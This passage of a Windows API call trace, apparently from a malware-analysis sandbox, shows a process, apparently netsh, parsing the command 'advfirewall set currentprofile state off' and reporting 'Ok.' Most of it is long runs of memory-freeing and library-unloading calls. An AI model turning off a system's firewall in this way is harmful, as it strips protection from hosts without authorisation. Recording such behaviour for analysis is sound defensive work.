(HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x2685d0 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x2685f0 [0240.556] wcscpy_s (in: _Destination=0x2685f0, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x268610 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x8) returned 0x22eee0 [0240.556] wcscpy_s (in: _Destination=0x22eee0, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x268630 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1e) returned 0x267010 [0240.556] wcscpy_s (in: _Destination=0x267010, _SizeInWords=0xf, _Source="currentprofile" | out: _Destination="currentprofile") returned 0x0 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x268650 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xc) returned 0x268670 [0240.556] wcscpy_s (in: _Destination=0x268670, _SizeInWords=0x6, _Source="state" | out: _Destination="state") returned 0x0 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x268690 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x8) returned 0x22eef0 [0240.556] wcscpy_s (in: _Destination=0x22eef0, _SizeInWords=0x4, _Source="off" | out: _Destination="off") returned 0x0 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x266230 | out: hHeap=0x1e0000) returned 1 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.556] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x268550 | out: hHeap=0x1e0000) returned 1 [0240.556] GetProcessHeap () returned 0x1e0000 [0240.557] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2685f0 | out: hHeap=0x1e0000) returned 1 [0240.557] GetProcessHeap () returned 0x1e0000 [0240.557] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x2685f0 [0240.557] _wcsnicmp (_String1="set", _String2="dum", _MaxCount=0x3) returned 15 [0240.557] _wcsnicmp (_String1="set", _String2="hel", _MaxCount=0x3) returned 11 [0240.557] _wcsnicmp (_String1="set", _String2="?", _MaxCount=0x3) returned 52 [0240.557] _wcsnicmp (_String1="set", _String2="res", _MaxCount=0x3) returned 1 [0240.557] _wcsnicmp (_String1="set", _String2="imp", _MaxCount=0x3) returned 10 [0240.557] _wcsnicmp (_String1="set", _String2="exp", _MaxCount=0x3) returned 14 [0240.557] _wcsnicmp (_String1="set", _String2="con", _MaxCount=0x3) returned 16 [0240.557] _wcsnicmp (_String1="set", _String2="fir", _MaxCount=0x3) returned 13 [0240.557] _wcsnicmp (_String1="set", _String2="mai", _MaxCount=0x3) returned 6 [0240.557] _wcsnicmp (_String1="set", _String2="mon", _MaxCount=0x3) returned 6 [0240.557] _wcsnicmp (_String1="set", _String2="set", _MaxCount=0x3) returned 0 [0240.557] _wcsnicmp (_String1="currentprofile", _String2="help", _MaxCount=0xe) returned -5 [0240.557] _wcsnicmp (_String1="currentprofile", _String2="?", _MaxCount=0xe) returned 36 [0240.557] wcstok (in: _String="domainprofile", _Delimiter=" ", _Context=0xf8510*=0x0 | out: _String="domainprofile", _Context=0xf8510*=0x0) returned="domainprofile" [0240.557] _wcsnicmp (_String1="currentprofile", _String2="domainprofile", _MaxCount=0xe) returned -1 [0240.558] wcstok (in: _String="privateprofile", _Delimiter=" ", _Context=0xf8540*=0x0 | out: _String="privateprofile", _Context=0xf8540*=0x0) returned="privateprofile" [0240.558] _wcsnicmp (_String1="currentprofile", _String2="privateprofile", _MaxCount=0xe) returned -13 [0240.558] wcstok (in: _String="publicprofile", _Delimiter=" ", _Context=0xf8570*=0x0 | out: _String="publicprofile", _Context=0xf8570*=0x0) returned="publicprofile" [0240.558] _wcsnicmp (_String1="currentprofile", _String2="publicprofile", _MaxCount=0xe) returned -13 [0240.558] wcstok (in: _String="currentprofile", _Delimiter=" ", _Context=0xf85a0*=0x0 | out: _String="currentprofile", _Context=0xf85a0*=0x0) returned="currentprofile" [0240.558] _wcsnicmp (_String1="currentprofile", _String2="currentprofile", _MaxCount=0xe) returned 0 [0240.558] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned 0x0 [0249.714] LoadStringW (in: hInstance=0x0, uID=0x2, lpBuffer=0x123270, cchBufferMax=8192 | out: lpBuffer="Ok.\n") returned 0x4 [0249.714] FormatMessageW (in: dwFlags=0x500, lpSource=0x123270, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x123250, nSize=0x0, Arguments=0x123260 | out: lpBuffer="\"") returned 0x5 [0249.714] GetStdHandle (nStdHandle=0xfffffff5) returned 0xcc [0249.714] GetConsoleOutputCP () returned 0x1b5 [0249.715] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Ok.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.715] GetProcessHeap () returned 0x1e0000 [0249.715] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x6) returned 0x22ef00 [0249.715] GetConsoleOutputCP () returned 0x1b5 [0249.715] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Ok.\r\n", cchWideChar=-1, lpMultiByteStr=0x22ef00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ok.\r\n", lpUsedDefaultChar=0x0) returned 6 [0249.715] WriteFile (in: hFile=0xcc, lpBuffer=0x22ef00*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x123200, lpOverlapped=0x0 | out: lpBuffer=0x22ef00*, lpNumberOfBytesWritten=0x123200*=0x5, lpOverlapped=0x0) returned 1 [0249.716] GetProcessHeap () returned 0x1e0000 [0249.716] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22ef00 | out: hHeap=0x1e0000) returned 1 [0249.716] LocalFree (hMem=0x22e430) returned 0x0 [0249.716] FormatMessageW (in: dwFlags=0x500, lpSource=0xe01504, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x127280, nSize=0x0, Arguments=0x127290 | out: lpBuffer="蕐&") returned 0x2 [0249.716] GetStdHandle (nStdHandle=0xfffffff5) returned 0xcc [0249.716] GetConsoleOutputCP () returned 0x1b5 [0249.716] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.716] GetProcessHeap () returned 0x1e0000 [0249.716] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x3) returned 0x22ef00 [0249.716] GetConsoleOutputCP () returned 0x1b5 [0249.716] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x22ef00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0249.716] WriteFile (in: hFile=0xcc, lpBuffer=0x22ef00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x127230, lpOverlapped=0x0 | out: lpBuffer=0x22ef00*, lpNumberOfBytesWritten=0x127230*=0x2, lpOverlapped=0x0) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22ef00 | out: hHeap=0x1e0000) returned 1 [0249.717] LocalFree (hMem=0x268550) returned 0x0 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2684f0 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2684d0 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22eeb0 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x266f80 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x268530 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22eed0 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x26c5c0 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x25a8f0 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x25a8d0 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22eec0 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x25a870 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x266fb0 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x268470 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x268510 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x268490 | out: hHeap=0x1e0000) returned 1 [0249.717] GetProcessHeap () returned 0x1e0000 [0249.717] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22ee90 | out: hHeap=0x1e0000) returned 1 [0249.718] GetProcessHeap () returned 0x1e0000 [0249.718] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2684b0 | out: hHeap=0x1e0000) returned 1 [0249.718] GetProcessHeap () returned 0x1e0000 [0249.718] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x25a850 | out: hHeap=0x1e0000) returned 1 [0249.718] GetProcessHeap () returned 0x1e0000 [0249.718] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x25a8b0 | out: hHeap=0x1e0000) returned 1 [0249.718] GetProcessHeap () returned 0x1e0000 [0249.718] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x25a890 | out: hHeap=0x1e0000) returned 1 [0249.718] GetProcessHeap () returned 0x1e0000 [0249.718] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x25a830 | out: hHeap=0x1e0000) returned 1 [0249.855] GetProcessHeap () returned 0x1e0000 [0249.855] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23f400 | out: hHeap=0x1e0000) returned 1 [0249.855] FreeLibrary (hLibModule=0xe00000) returned 1 [0249.855] FreeLibrary (hLibModule=0x7fef4a70000) returned 1 [0249.856] free (_Block=0x4c7e80) [0249.858] LocalFree (hMem=0x2063e0) returned 0x0 [0249.858] LocalFree (hMem=0x206730) returned 0x0 [0249.858] LocalFree (hMem=0x206840) returned 0x0 [0249.858] LocalFree (hMem=0x204ee0) returned 0x0 [0249.858] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x23b010 [0249.858] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x204ee0 [0249.858] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x266e30 [0249.858] free (_Block=0x4c5a90) [0249.858] free (_Block=0x0) [0249.858] free (_Block=0x4c5a70) [0249.858] free (_Block=0x4c5ab0) [0249.858] free (_Block=0x4c7e60) [0249.858] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x227c80 [0249.862] LocalFree (hMem=0x227c80) returned 0x0 [0249.862] LocalFree (hMem=0x206860) returned 0x0 [0249.862] LocalFree (hMem=0x23b010) returned 0x0 [0249.863] free (_Block=0x4c7c50) [0249.863] GetModuleHandleA (lpModuleName="MSVCRT.DLL") returned 0x7fefddb0000 [0249.863] FreeLibrary (hLibModule=0x7fefddb0000) returned 1 [0249.863] LocalFree (hMem=0x266e30) returned 0x0 [0249.863] LocalFree (hMem=0x204ee0) returned 0x0 [0249.863] GlobalHandle (pMem=0x2061c0) returned 0xa20008 [0249.863] GlobalUnlock (hMem=0xa20008) returned 0 [0249.873] FreeLibrary (hLibModule=0x7fef45d0000) returned 1 [0249.874] FreeLibrary (hLibModule=0x7fef50b0000) returned 1 [0249.876] FreeLibrary (hLibModule=0x7fef5080000) returned 1 [0249.878] FreeLibrary (hLibModule=0x7fef5070000) returned 1 [0249.879] FreeLibrary (hLibModule=0x7fef5040000) returned 1 [0249.880] FreeLibrary (hLibModule=0x7fef9320000) returned 1 [0249.881] FreeLibrary (hLibModule=0x7fef92f0000) returned 1 [0249.882] FreeLibrary (hLibModule=0x7fef92b0000) returned 1 [0249.885] FreeLibrary (hLibModule=0x7fef92a0000) returned 1 [0249.887] FreeLibrary (hLibModule=0x7fef9290000) returned 1 [0249.936] FreeLibrary (hLibModule=0x7fef9280000) returned 1 [0249.938] FreeLibrary (hLibModule=0x7fef9260000) returned 1 [0249.940] FreeLibrary (hLibModule=0x7fef9150000) returned 1 [0249.946] FreeLibrary (hLibModule=0x7fef4c20000) returned 1 [0249.960] FreeLibrary (hLibModule=0x7fef4520000) returned 1 [0249.967] FreeLibrary (hLibModule=0x7fef90c0000) returned 1 [0250.022] FreeLibrary (hLibModule=0x7fef44f0000) returned 1 [0250.190] FreeLibrary (hLibModule=0x7fef4b30000) returned 1 [0250.191] FreeLibrary (hLibModule=0x7fef43d0000) returned 1 [0250.231] FreeLibrary (hLibModule=0x7fef42e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.235] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2351a0 | out: hHeap=0x1e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.235] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2026f0 | out: hHeap=0x1e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.235] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202710 | out: hHeap=0x1e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.235] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202730 | out: hHeap=0x1e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.235] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202750 | out: hHeap=0x1e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.235] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202770 | out: hHeap=0x1e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.235] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202790 | out: hHeap=0x1e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.235] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2027e0 | out: hHeap=0x1e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.235] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202800 | out: hHeap=0x1e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.235] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202820 | out: hHeap=0x1e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.235] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202840 | out: hHeap=0x1e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.235] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202860 | out: hHeap=0x1e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.235] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202880 | out: hHeap=0x1e0000) returned 1 [0250.235] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2028a0 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2028c0 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2028e0 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202900 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202920 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202940 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202960 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202980 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2029a0 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2029c0 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2029e0 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202a00 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202a20 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202a40 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202a60 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202a80 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202aa0 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202ac0 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202ae0 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.236] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202b00 | out: hHeap=0x1e0000) returned 1 [0250.236] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202b20 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202b40 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202b60 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202b80 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202ba0 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202bc0 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202be0 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202c00 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202c20 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202c40 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202c60 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202c80 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202ca0 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202cc0 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202ce0 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202d00 | out: hHeap=0x1e0000) returned 1 [0250.237] GetProcessHeap () returned 0x1e0000 [0250.237] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202d20 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202d40 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202d60 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202d80 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202da0 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202dc0 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202de0 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202e00 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202e20 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202e40 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202e60 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202e80 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202ea0 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202ec0 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202ee0 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202f00 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202f20 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.238] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202f40 | out: hHeap=0x1e0000) returned 1 [0250.238] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202f60 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202f80 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x202fe0 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203000 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203020 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203040 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203060 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203080 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2030a0 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, 